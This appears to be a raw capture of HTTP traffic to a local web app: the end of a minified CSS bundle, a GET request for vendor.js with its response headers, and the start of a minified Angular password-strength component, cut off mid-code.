7f"}.icon-suse:before{content:"\\f180"}.icon-svg:before{content:"\\f181"}.icon-symfony:before{content:"\\f182"}.icon-tomcat:before{content:"\\f183"}.icon-ubuntu:before{content:"\\f184"}.icon-unity:before{content:"\\f185"}.icon-wireless:before{content:"\\f186"}.icon-wordpress:before{content:"\\f187"}.icon-x11:before{content:"\\f188"}pre code.hljs{display:block;overflow-x:auto;padding:1em}code.hljs{padding:3px 5px}/*!\n Theme: GitHub\n Description: Light theme as seen on github.com\n Author: github.com\n Maintainer: @Hirse\n Updated: 2021-05-15\n\n Outdated base version: https://github.com/primer/github-syntax-light\n Current colors taken from GitHub\'s CSS\n*/.hljs{color:#24292e;background:#ffffff}.hljs-doctag,.hljs-keyword,.hljs-meta .hljs-keyword,.hljs-template-tag,.hljs-template-variable,.hljs-type,.hljs-variable.language_{color:#d73a49}.hljs-title,.hljs-title.class_,.hljs-title.class_.inherited__,.hljs-title.function_{color:#6f42c1}.hljs-attr,.hljs-attribute,.hljs-literal,.hljs-meta,.hljs-number,.hljs-operator,.hljs-variable,.hljs-selector-attr,.hljs-selector-class,.hljs-selector-id{color:#005cc5}.hljs-regexp,.hljs-string,.hljs-meta .hljs-string{color:#032f62}.hljs-built_in,.hljs-symbol{color:#e36209}.hljs-comment,.hljs-code,.hljs-formula{color:#6a737d}.hljs-name,.hljs-quote,.hljs-selector-tag,.hljs-selector-pseudo{color:#22863a}.hljs-subst{color:#24292e}.hljs-section{color:#005cc5;font-weight:700}.hljs-bullet{color:#735c0f}.hljs-emphasis{color:#24292e;font-style:italic}.hljs-strong{color:#24292e;font-weight:700}.hljs-addition{color:#22863a;background-color:#f0fff4}.hljs-deletion{color:#b31d28;background-color:#ffeef0}.CodeMirror{font-family:monospace;height:300px;color:#000;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:transparent}.cm-fat-cursor .CodeMirror-line::-moz-selection,.cm-fat-cursor .CodeMirror-line>span::-moz-selection,.cm-fat-cursor .CodeMirror-line>span>span::-moz-selection{background:transparent}.cm-fat-cursor{caret-color:transparent}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;inset:-50px 0 0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:700}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta,.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error,.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll!important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative;z-index:0}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none!important;border:none!important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;inset:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors,.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:#ff06}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.cm-s-dracula.CodeMirror,.cm-s-dracula .CodeMirror-gutters{background-color:#282a36!important;color:#f8f8f2!important;border:none}.cm-s-dracula .CodeMirror-gutters{color:#282a36}.cm-s-dracula .CodeMirror-cursor{border-left:solid thin #f8f8f0}.cm-s-dracula .CodeMirror-linenumber{color:#6d8a88}.cm-s-dracula .CodeMirror-selected{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-line::selection,.cm-s-dracula .CodeMirror-line>span::selection,.cm-s-dracula .CodeMirror-line>span>span::selection{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-line::-moz-selection,.cm-s-dracula .CodeMirror-line>span::-moz-selection,.cm-s-dracula .CodeMirror-line>span>span::-moz-selection{background:rgba(255,255,255,.1)}.cm-s-dracula span.cm-comment{color:#6272a4}.cm-s-dracula span.cm-string,.cm-s-dracula span.cm-string-2{color:#f1fa8c}.cm-s-dracula span.cm-number{color:#bd93f9}.cm-s-dracula span.cm-variable{color:#50fa7b}.cm-s-dracula span.cm-variable-2{color:#fff}.cm-s-dracula span.cm-def{color:#50fa7b}.cm-s-dracula span.cm-operator,.cm-s-dracula span.cm-keyword{color:#ff79c6}.cm-s-dracula span.cm-atom{color:#bd93f9}.cm-s-dracula span.cm-meta{color:#f8f8f2}.cm-s-dracula span.cm-tag{color:#ff79c6}.cm-s-dracula span.cm-attribute,.cm-s-dracula span.cm-qualifier{color:#50fa7b}.cm-s-dracula span.cm-property{color:#66d9ef}.cm-s-dracula span.cm-builtin{color:#50fa7b}.cm-s-dracula span.cm-variable-3,.cm-s-dracula span.cm-type{color:#ffb86c}.cm-s-dracula .CodeMirror-activeline-background{background:rgba(255,255,255,.1)}.cm-s-dracula .CodeMirror-matchingbracket{text-decoration:underline;color:#fff!important}/*!\n * Load Awesome v1.1.0 (http://github.danielcardoso.net/load-awesome/)\n * Copyright 2015 Daniel Cardoso <@DanielCardoso>\n * Licensed under MIT\n */.la-timer,.la-timer>div{position:relative;box-sizing:border-box}.la-timer{display:block;font-size:0;color:#fff}.la-timer.la-dark{color:#333}.la-timer>div{display:inline-block;float:none;background-color:currentColor;border:0 solid currentColor}.la-timer{width:32px;height:32px}.la-timer>div{width:32px;height:32px;background:transparent;border-width:2px;border-radius:100%}.la-timer>div:before,.la-timer>div:after{position:absolute;top:14px;left:14px;display:block;width:2px;margin-top:-1px;margin-left:-1px;content:"";background:currentColor;border-radius:2px;transform-origin:1px 1px 0;animation:timer-loader 1.25s infinite linear;animation-delay:-625ms}.la-timer>div:before{height:12px}.la-timer>div:after{height:8px;animation-duration:15s;animation-delay:-7.5s}.la-timer.la-sm{width:16px;height:16px}.la-timer.la-sm>div{width:16px;height:16px;border-width:1px}.la-timer.la-sm>div:before,.la-timer.la-sm>div:after{top:7px;left:7px;width:1px;margin-top:-.5px;margin-left:-.5px;border-radius:1px;transform-origin:.5px .5px 0}.la-timer.la-sm>div:before{height:6px}.la-timer.la-sm>div:after{height:4px}.la-timer.la-2x{width:64px;height:64px}.la-timer.la-2x>div{width:64px;height:64px;border-width:4px}.la-timer.la-2x>div:before,.la-timer.la-2x>div:after{top:28px;left:28px;width:4px;margin-top:-2px;margin-left:-2px;border-radius:4px;transform-origin:2px 2px 0}.la-timer.la-2x>div:before{height:24px}.la-timer.la-2x>div:after{height:16px}.la-timer.la-3x{width:96px;height:96px}.la-timer.la-3x>div{width:96px;height:96px;border-width:6px}.la-timer.la-3x>div:before,.la-timer.la-3x>div:after{top:42px;left:42px;width:6px;margin-top:-3px;margin-left:-3px;border-radius:6px;transform-origin:3px 3px 0}.la-timer.la-3x>div:before{height:36px}.la-timer.la-3x>div:after{height:24px}@keyframes timer-loader{0%{transform:rotate(0)}to{transform:rotate(360deg)}}\n'
GET http://localhost:3000/vendor.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"15aefc-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[736],{9187:(At,ae,d)=>{"use strict";d.d(ae,{Xy:()=>X,ne:()=>Be,tw:()=>ct});var n=d(655),a=d(4650),s=d(4006),u=d(7340),c=d(6895),f=d(3162),E=d(3238),_=d(3546),S=d(7392);function g(Je,Et){1&Je&&a._UZ(0,"div"),2&Je&&a.Q6J("@flipY",void 0)}function C(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function z(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function H(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,g,1,1,"div",2),a.YNc(2,C,2,1,"ng-template",null,3,a.W1O),a.YNc(4,z,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneLowerCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.lowerCaseCriteriaMsg)}}function j(Je,Et){1&Je&&a._UZ(0,"div")}function U(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function G(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function Q(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,j,1,0,"div",2),a.YNc(2,U,2,1,"ng-template",null,3,a.W1O),a.YNc(4,G,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneUpperCaseLetter)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.upperCaseCriteriaMsg)}}function oe(Je,Et){1&Je&&a._UZ(0,"div")}function Ce(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function k(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function K(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,oe,1,0,"div",2),a.YNc(2,Ce,2,1,"ng-template",null,3,a.W1O),a.YNc(4,k,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneDigit)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.digitsCriteriaMsg)}}function se(Je,Et){1&Je&&a._UZ(0,"div")}function ee(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function q(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function we(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,se,1,0,"div",2),a.YNc(2,ee,2,1,"ng-template",null,3,a.W1O),a.YNc(4,q,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastOneSpecialChar)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.specialCharsCriteriaMsg)}}function ce(Je,Et){1&Je&&a._UZ(0,"div")}function je(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ze(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function le(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,ce,1,0,"div",2),a.YNc(2,je,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ze,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtLeastMinChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.minCharsCriteriaMsg)}}function Oe(Je,Et){1&Je&&a._UZ(0,"div")}function Qe(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function Ye(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function qe(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Oe,1,0,"div",2),a.YNc(2,Qe,2,1,"ng-template",null,3,a.W1O),a.YNc(4,Ye,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",Ie.passwordComponent.containAtCustomChars)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.Oqu(Ie.customCharsCriteriaMsg)}}function Ke(Je,Et){1&Je&&a._UZ(0,"div")}function dt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",5),a._uU(1,"done"),a.qZA()),2&Je&&a.Q6J("@positiveState",void 0)}function bt(Je,Et){1&Je&&(a.TgZ(0,"mat-icon",6),a._uU(1,"error"),a.qZA()),2&Je&&a.Q6J("@negativeState",void 0)}function ze(Je,Et){if(1&Je&&(a.TgZ(0,"div",1),a.YNc(1,Ke,1,0,"div",2),a.YNc(2,dt,2,1,"ng-template",null,3,a.W1O),a.YNc(4,bt,2,1,"ng-template",null,4,a.W1O),a.TgZ(6,"span"),a._uU(7),a.qZA()()),2&Je){const Dt=a.MAs(3),Pt=a.MAs(5),Ie=a.oxw();a.Q6J("@items",void 0),a.xp6(1),a.Q6J("ngIf",100===Ie.passwordComponent.strength)("ngIfThen",Dt)("ngIfElse",Pt),a.xp6(6),a.hij("Password\'s strength = ",Ie.passwordComponent.strength," %100")}}var De=(()=>{return(Je=De||(De={})).primary="primary",Je.accent="accent",Je.warn="warn",De;var Je})(),re=(()=>{return(Je=re||(re={})).at_least_eight_chars="minChar",Je.at_least_one_lower_case_char="lowerCase",Je.at_least_one_upper_case_char="upperCase",Je.at_least_one_digit_char="digit",Je.at_least_one_special_char=" specialChar",Je.at_custom_chars="customChars",re;var Je})();class We{isUndefinedOrEmpty(Et){}validate(Et,Dt){return Ie=>{if(this.isUndefinedOrEmpty(Ie),!Dt.test(Ie.value)){const te={};return te[Et]={actualValue:Ie.value,requiredPattern:Dt},te}}}confirm(Et){return Pt=>{if(this.isUndefinedOrEmpty(Pt),Pt.value!==Et)return{notConfirmed:{password:Et,passwordConfirmation:Pt.value}}}}}const xt={lowerCase:RegExp(/^(?=.*?[a-z])/),upperCase:RegExp(/^(?=.*?[A-Z])/),digit:RegExp(/^(?=.*?[0-9])/),specialChar:RegExp(/^(?=.*?[" !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~"])/)};let Be=(()=>{let Je=class{constructor(){this.enableLengthRule=!0,this.enableLowerCaseLetterRule=!0,this.enableUpperCaseLetterRule=!0,this.enableDigitRule=!0,this.enableSpecialCharRule=!0,this.min=8,this.max=30,this.warnThreshold=21,this.accentThreshold=81,this.onStrengthChanged=new a.vpe,this.criteriaMap=new Map,this.passwordFormControl=new s.NI,this.passwordConfirmationFormControl=new s.NI,this.validatorsArray=[],this._strength=0,this.matPasswordStrengthValidator=new We}ngOnInit(){this.setRulesAndValidators(),this.password&&this.calculatePasswordStrength()}ngOnChanges(Dt){if(!(Dt.externalError&&Dt.externalError.firstChange||Dt.password.isFirstChange())){if(Dt.externalError&&Dt.externalError.currentValue)return void(this._color=De.warn);Dt.password.previousValue!==Dt.password.currentValue||Dt.password.firstChange?this.password&&this.password.length>0?this.calculatePasswordStrength():this.reset():this.calculatePasswordStrength()}}get strength(){return this._strength?this._strength:0}get color(){return this._strength<this.warnThreshold?De.warn:this._strength<this.accentThreshold?De.accent:De.primary}_containAtLeastMinChars(){return this.containAtLeastMinChars=this.password.length>=this.min,this.containAtLeastMinChars}_containAtLeastOneLowerCaseLetter(){return this.containAtLeastOneLowerCaseLetter=this.criteriaMap.get(re.at_least_one_lower_case_char).test(this.password),this.containAtLeastOneLowerCaseLetter}_containAtLeastOneUpperCaseLetter(){return this.containAtLeastOneUpperCaseLetter=this.criteriaMap.get(re.at_least_one_upper_case_char).test(this.password),this.containAtLeastOneUpperCaseLetter}_containAtLeastOneDigit(){return this.containAtLeastOneDigit=this.criteriaMap.get(re.at_least_one_digit_char).test(this.password),this.containAtLeastOneDigit}_containAtLeastOneSpecialChar(){return this.containAtLeastOneSpecialChar=this.criteriaMap.get(re.at_least_one_special_char).test(this.password),this.containAtLeastOneSpecialChar}_containCustomChars(){return this.containAtCustomChars=this.criteriaMap.get(re.at_custom_chars).test(this.password),this.containAtCustomChars}parseCustomValidatorsRegex(Dt=this.customValidator){return this.customValidator instanceof RegExp?this.customValidator:"string"==typeof this.customValidator?RegExp(this.customValidator):void 0}setRulesAndValidators(){this.validatorsArray=[],this.criteriaMap=new Map,this.passwordConfirmationFormControl.setValidators(s.kI.compose([s.kI.required,this.matPasswordStrengthValidator.confirm(this.password)])),this.validatorsArray.push(s.kI.required),this.enableLengthRule&&(this.criteriaMap.set(re.at_least_eight_chars,RegExp(`^.{${this.min},${this.max}}$`)),this.validatorsArray.push(s.kI.minLength(this.min)),this.validatorsArray.push(s.kI.maxLength(this.max))),this.enableLowerCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_lower_case_char,xt.lowerCase),this.validatorsArray.push(s.kI.pattern(xt.lowerCase))),this.enableUpperCaseLetterRule&&(this.criteriaMap.set(re.at_least_one_upper_case_char,xt.upperCase),this.validatorsArray.push(s.kI.pattern(xt.upperCase))),this.enableDigitRule&&(this.criteriaMap.set(re.at_least_one_digit_char,xt.digit),this.validatorsArray.push(s.kI.pattern(xt.digit))),this.enableSpecialCharRule&&(this.criteriaMap.set(re.at_least_one_special_char,xt.specialChar),this.validatorsArray.push(s.kI.pattern(xt.specialChar))),this.customValidator&&(this.criteriaMap.set(re.at_custom_chars,this.parseCustomValidatorsRegex()),this.validatorsArray.push(s.kI.pattern(this.parseCustomValidatorsRegex()))),this.criteriaMap.forEach((Dt,Pt)=>{this.validatorsArray.push(this.matPasswordStrengthValidator.validate(Pt,Dt))}),this.passwordFormControl.setValidators(s.kI.compose([...this.validatorsArray])),this.Validators=s.kI.compose([...this.validatorsArray])}calculatePasswordStrength(){const Dt=[],Pt=100/this.criteriaMap.size;Dt.push(!!this.enableLengthRule&&this._containAtLeastMinChars(),!!this.enableLowerCaseLetterRule&&this._containAtLeastOneLowerCaseLetter(),!!this.enableUpperCaseLetterRule&&this._containAtLeastOneUpperCaseLetter(),!!this.enableDigitRule&&this._containAtLeastOneDigit(),!!this.enableSpecialCharRule&&this._containAtLeastOneSpecialChar(),!!this.customValidator&&this._containCustomChars()),this._strength=Dt.filter(Ie=>Ie).length*Pt,this.onStrengthChanged.emit(this.strength),this.setRulesAndValidators()}reset(){this._strength=0,this.containAtLeastMinChars=this.containAtLeastOneLowerCaseLetter=this.containAtLeastOneUpperCaseLetter=this.containAtLeastOneDigit=this.containAtCustomChars=this.containAtLeastOneSpecialChar=!1}};return Je.\\u0275fac=function(Dt){return new(Dt||Je)},Je.\\u0275cmp=a.Xpm({type:Je,selectors:[["mat-password-strength"]],inputs:{enableLengthRule:"enableLengthRule",enableLowerCaseLetterRule:"enableLowerCaseLetterRule",enableUpperCaseLetterRule:"enableUpperCaseLetterRule",enableDigitRule:"enableDigitRule",enableSpecialCharRule:"enableSpecialCharRule",min:"min",max:"max",warnThreshold:"warnThreshold",accentThreshold:"accentThreshold",password:"password",externalError:"externalError",customValidator:"customValidator"},outputs:{onStrengthChanged:"onStrengthChanged"},exportAs:["matPasswordStrength"],features:[a.TTD],decls:1,vars:2,consts:[["mode","determinate",3,"color","value"]],template:function(Dt,Pt){1&Dt&&a._UZ(0,"mat-progress-bar",0),2&Dt&&a.Q6J("color",Pt.color)("value",Pt.strength)},dependencies:[f.pW],styles:[".green [_nghost-%COMP%] .mat-progress-bar.mat-primary .mat-progress-bar-fill::after{background-color:#43a047}"],changeDetection:0}),(0,n.gn)([(0,a.IIB)()],Je.prototype,"password",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"externalError",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLengthRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableLowerCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableUpperCaseLetterRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableDigitRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"enableSpecialCharRule",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"min",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"max",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"customValidator",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"warnThreshold",void 0),(0,n.gn)([(0,a.IIB)()],Je.prototype,"accentThreshold",void 0),(0,n.gn)([(0,a.r_U)()],Je.prototype,"onStrengthChanged",void 0),Je})();function pe(Je,Et,Dt){const Pt={timing:Je,delay:0,rotateX:Et,rotateY:Dt};return(0,u.oQ)([(0,u.oB)({"backface-visibility":"visible"}),(0,u.jt)("{{ timing }}s {{ delay }}s ease-in",(0,u.F4)([(0,u.oB)({opacity:0,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 90deg)",offset:0}),(0,u.oB)({opacity:1,transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -20deg)",offset:.4}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, 10deg)",offset:.6}),(0,u.oB)({transform:"perspective(400px) rotate3d({{ rotateX }}, {{ rotateY }}, 0, -5deg)",offset:.8}),(0,u.oB)({transform:"perspective(400px) rotate3d(0, 0, 0, 0)",offset:1})]))],{params:Pt})}pe(1,1,0),pe(1,0,1);const R=(0,u.oQ)((0,u.jt)("{{ timing }}s {{ delay }}s",(0,u.F4)([(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:0}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.1}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.2}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.3}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.4}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.5}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.6}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.7}),(0,u.oB)({transform:"translate3d(10px, 0, 0)",offset:.8}),(0,u.oB)({transform:"translate3d(-10px, 0, 0)",offset:.9}),(0,u.oB)({transform:"translate3d(0, 0, 0)",offset:1})])),{params:{timing:1,delay:0}});let X=(()=>{let Je=class{constructor(){this.enableScoreInfo=!1,this.lowerCaseCriteriaMsg="contains at least one lower character",this.upperCaseCriteriaMsg="contains at least one upper character",this.digitsCriteriaMsg="contains at least one digit character",this.specialCharsCriteriaMsg="contains at least one special character",this.customCharsCriteriaMsg="contains at least one custom character"}ngOnInit(){this.minCharsCriteriaMsg||(this.minCharsCriteriaMsg=`contains at least ${this.passwordComponent.min} characters`)}};return Je.\\u0275fac=function(Dt){return 